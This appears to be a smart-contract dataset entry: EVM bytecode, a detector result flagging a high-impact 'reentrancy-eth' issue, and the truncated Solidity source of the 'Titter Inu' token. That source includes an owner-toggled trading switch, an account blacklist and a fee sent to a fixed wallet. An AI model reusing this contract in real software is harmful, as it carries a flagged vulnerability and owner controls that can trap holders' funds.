f1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611180611640565b73ffffffffffffffffffffffffffffffffffffffff1614806111f65750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111de611640565b73ffffffffffffffffffffffffffffffffffffffff16145b6111ff57600080fd5b600061120a30610c3d565b9050611215816123c0565b50565b611220611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a4906135e3565b60405180910390fd5b60005b8383905081101561134c5781600560008686858181106112d3576112d2613a76565b5b90506020020160208101906112e89190612eb7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611344906139cf565b9150506112b0565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e7611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146b906135e3565b60405180910390fd5b8060188190555050565b611486611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150a906135e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157a90613543565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90613663565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f90613563565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118069190613683565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a90613623565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ea906134c3565b60405180910390fd5b60008111611936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192d90613603565b60405180910390fd5b61193e610e86565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ac575061197c610e86565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef257601660149054906101000a900460ff16611a3b576119cd610e86565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a31906134e3565b60405180910390fd5b5b601754811115611a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7790613523565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b245750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5a90613583565b60405180910390fd5b6001600854611b7291906137b9565b4311158015611bce5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c285750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbe576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6b5760185481611d2084610c3d565b611d2a91906137b9565b10611d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6190613643565b60405180910390fd5b5b6000611d7630610c3d565b9050600060195482101590506017548210611d915760175491505b808015611dab5750601660159054906101000a900460ff16155b8015611e055750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1b575060168054906101000a900460ff165b8015611e715750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec75750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611eef57611ed5826123c0565b60004790506000811115611eed57611eec47612257565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205a57600090506121e1565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121055750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211d57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c85750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e057600b54600d81905550600c54600e819055505b5b6121ed84848484612648565b50505050565b600083831115829061223b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223291906134a1565b60405180910390fd5b506000838561224a919061389a565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a760028461267590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d2573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232360028461267590919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234e573d6000803e3d6000fd5b5050565b6000600654821115612399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239090613503565b60405180910390fd5b60006123a36126bf565b90506123b8818461267590919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f8576123f7613aa5565b5b6040519080825280602002602001820160405280156124265781602001602082028036833780820191505090505b509050308160008151811061243e5761243d613a76565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e057600080fd5b505afa1580156124f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125189190612ee4565b8160018151811061252c5761252b613a76565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259330601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611648565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f795949392919061369e565b600060405180830381600087803b15801561261157600080fd5b505af1158015612625573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612656576126556126ea565b5b61266184848461272d565b8061266f5761266e6128f8565b5b50505050565b60006126b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290c565b905092915050565b60008060006126cc61296f565b915091506126e3818361267590919063ffffffff16565b9250505090565b6000600d541480156126fe57506000600e54145b156127085761272b565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061273f876129ce565b95509550955095509550955061279d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287e81612ade565b6128888483612b9b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e59190613683565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294a91906134a1565b60405180910390fd5b5060008385612962919061380f565b9050809150509392505050565b600080600060065490506000670de0b6b3a764000090506129a3670de0b6b3a764000060065461267590919063ffffffff16565b8210156129c157600654670de0b6b3a76400009350935050506129ca565b81819350935050505b9091565b60008060008060008060008060006129eb8a600d54600e54612bd5565b92509250925060006129fb6126bf565b90506000806000612a0e8e878787612c6b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f3565b905092915050565b6000808284612a8f91906137b9565b905083811015612ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acb906135a3565b60405180910390fd5b8091505092915050565b6000612ae86126bf565b90506000612aff8284612cf490919063ffffffff16565b9050612b5381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb082600654612a3690919063ffffffff16565b600681905550612bcb81600754612a8090919063ffffffff16565b6007819055505050565b600080600080612c016064612bf3888a612cf490919063ffffffff16565b61267590919063ffffffff16565b90506000612c2b6064612c1d888b612cf490919063ffffffff16565b61267590919063ffffffff16565b90506000612c5482612c46858c612a3690919063ffffffff16565b612a3690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c848589612cf490919063ffffffff16565b90506000612c9b8689612cf490919063ffffffff16565b90506000612cb28789612cf490919063ffffffff16565b90506000612cdb82612ccd8587612a3690919063ffffffff16565b612a3690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d075760009050612d69565b60008284612d159190613840565b9050828482612d24919061380f565b14612d64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5b906135c3565b60405180910390fd5b809150505b92915050565b6000612d82612d7d84613738565b613713565b90508083825260208201905082856020860282011115612da557612da4613ade565b5b60005b85811015612dd55781612dbb8882612ddf565b845260208401935060208301925050600181019050612da8565b5050509392505050565b600081359050612dee81613ede565b92915050565b600081519050612e0381613ede565b92915050565b60008083601f840112612e1f57612e1e613ad9565b5b8235905067ffffffffffffffff811115612e3c57612e3b613ad4565b5b602083019150836020820283011115612e5857612e57613ade565b5b9250929050565b600082601f830112612e7457612e73613ad9565b5b8135612e84848260208601612d6f565b91505092915050565b600081359050612e9c81613ef5565b92915050565b600081359050612eb181613f0c565b92915050565b600060208284031215612ecd57612ecc613ae8565b5b6000612edb84828501612ddf565b91505092915050565b600060208284031215612efa57612ef9613ae8565b5b6000612f0884828501612df4565b91505092915050565b60008060408385031215612f2857612f27613ae8565b5b6000612f3685828601612ddf565b9250506020612f4785828601612ddf565b9150509250929050565b600080600060608486031215612f6a57612f69613ae8565b5b6000612f7886828701612ddf565b9350506020612f8986828701612ddf565b9250506040612f9a86828701612ea2565b9150509250925092565b60008060408385031215612fbb57612fba613ae8565b5b6000612fc985828601612ddf565b9250506020612fda85828601612ea2565b9150509250929050565b600080600060408486031215612ffd57612ffc613ae8565b5b600084013567ffffffffffffffff81111561301b5761301a613ae3565b5b61302786828701612e09565b9350935050602061303a86828701612e8d565b9150509250925092565b60006020828403121561305a57613059613ae8565b5b600082013567ffffffffffffffff81111561307857613077613ae3565b5b61308484828501612e5f565b91505092915050565b6000602082840312156130a3576130a2613ae8565b5b60006130b184828501612e8d565b91505092915050565b6000602082840312156130d0576130cf613ae8565b5b60006130de84828501612ea2565b91505092915050565b6000806000806080858703121561310157613100613ae8565b5b600061310f87828801612ea2565b945050602061312087828801612ea2565b935050604061313187828801612ea2565b925050606061314287828801612ea2565b91505092959194509250565b600061315a8383613166565b60208301905092915050565b61316f816138ce565b82525050565b61317e816138ce565b82525050565b600061318f82613774565b6131998185613797565b93506131a483613764565b8060005b838110156131d55781516131bc888261314e565b97506131c78361378a565b9250506001810190506131a8565b5085935050505092915050565b6131eb816138e0565b82525050565b6131fa81613923565b82525050565b61320981613935565b82525050565b600061321a8261377f565b61322481856137a8565b935061323481856020860161396b565b61323d81613aed565b840191505092915050565b60006132556023836137a8565b915061326082613afe565b604082019050919050565b6000613278603f836137a8565b915061328382613b4d565b604082019050919050565b600061329b602a836137a8565b91506132a682613b9c565b604082019050919050565b60006132be601c836137a8565b91506132c982613beb565b602082019050919050565b60006132e16026836137a8565b91506132ec82613c14565b604082019050919050565b60006133046022836137a8565b915061330f82613c63565b604082019050919050565b60006133276023836137a8565b915061333282613cb2565b604082019050919050565b600061334a601b836137a8565b915061335582613d01565b602082019050919050565b600061336d6021836137a8565b915061337882613d2a565b604082019050919050565b60006133906020836137a8565b915061339b82613d79565b602082019050919050565b60006133b36029836137a8565b91506133be82613da2565b604082019050919050565b60006133d66025836137a8565b91506133e182613df1565b604082019050919050565b60006133f96023836137a8565b915061340482613e40565b604082019050919050565b600061341c6024836137a8565b915061342782613e8f565b604082019050919050565b61343b8161390c565b82525050565b61344a81613916565b82525050565b60006020820190506134656000830184613175565b92915050565b600060208201905061348060008301846131e2565b92915050565b600060208201905061349b60008301846131f1565b92915050565b600060208201905081810360008301526134bb818461320f565b905092915050565b600060208201905081810360008301526134dc81613248565b9050919050565b600060208201905081810360008301526134fc8161326b565b9050919050565b6000602082019050818103600083015261351c8161328e565b9050919050565b6000602082019050818103600083015261353c816132b1565b9050919050565b6000602082019050818103600083015261355c816132d4565b9050919050565b6000602082019050818103600083015261357c816132f7565b9050919050565b6000602082019050818103600083015261359c8161331a565b9050919050565b600060208201905081810360008301526135bc8161333d565b9050919050565b600060208201905081810360008301526135dc81613360565b9050919050565b600060208201905081810360008301526135fc81613383565b9050919050565b6000602082019050818103600083015261361c816133a6565b9050919050565b6000602082019050818103600083015261363c816133c9565b9050919050565b6000602082019050818103600083015261365c816133ec565b9050919050565b6000602082019050818103600083015261367c8161340f565b9050919050565b60006020820190506136986000830184613432565b92915050565b600060a0820190506136b36000830188613432565b6136c06020830187613200565b81810360408301526136d28186613184565b90506136e16060830185613175565b6136ee6080830184613432565b9695505050505050565b600060208201905061370d6000830184613441565b92915050565b600061371d61372e565b9050613729828261399e565b919050565b6000604051905090565b600067ffffffffffffffff82111561375357613752613aa5565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c48261390c565b91506137cf8361390c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380457613803613a18565b5b828201905092915050565b600061381a8261390c565b91506138258361390c565b92508261383557613834613a47565b5b828204905092915050565b600061384b8261390c565b91506138568361390c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561388f5761388e613a18565b5b828202905092915050565b60006138a58261390c565b91506138b08361390c565b9250828210156138c3576138c2613a18565b5b828203905092915050565b60006138d9826138ec565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061392e82613947565b9050919050565b60006139408261390c565b9050919050565b600061395282613959565b9050919050565b6000613964826138ec565b9050919050565b60005b8381101561398957808201518184015260208101905061396e565b83811115613998576000848401525b50505050565b6139a782613aed565b810181811067ffffffffffffffff821117156139c6576139c5613aa5565b5b80604052505050565b60006139da8261390c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a0d57613a0c613a18565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613ee7816138ce565b8114613ef257600080fd5b50565b613efe816138e0565b8114613f0957600080fd5b50565b613f158161390c565b8114613f2057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204cd910c1d9dbd6bd45d81040e00d83d3d51117dbc6ede24181f05f913c245a9c64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,498 |
0x969227b89c4cb58bc7d9b0d46b475ce96264b4c6 | /**
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TitterInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Titter Inu";
string private constant _symbol = "TINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x040394635C069e3f1334AB7dc85a379564316343);
address payable private _marketingAddress = payable(0x040394635C069e3f1334AB7dc85a379564316343);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
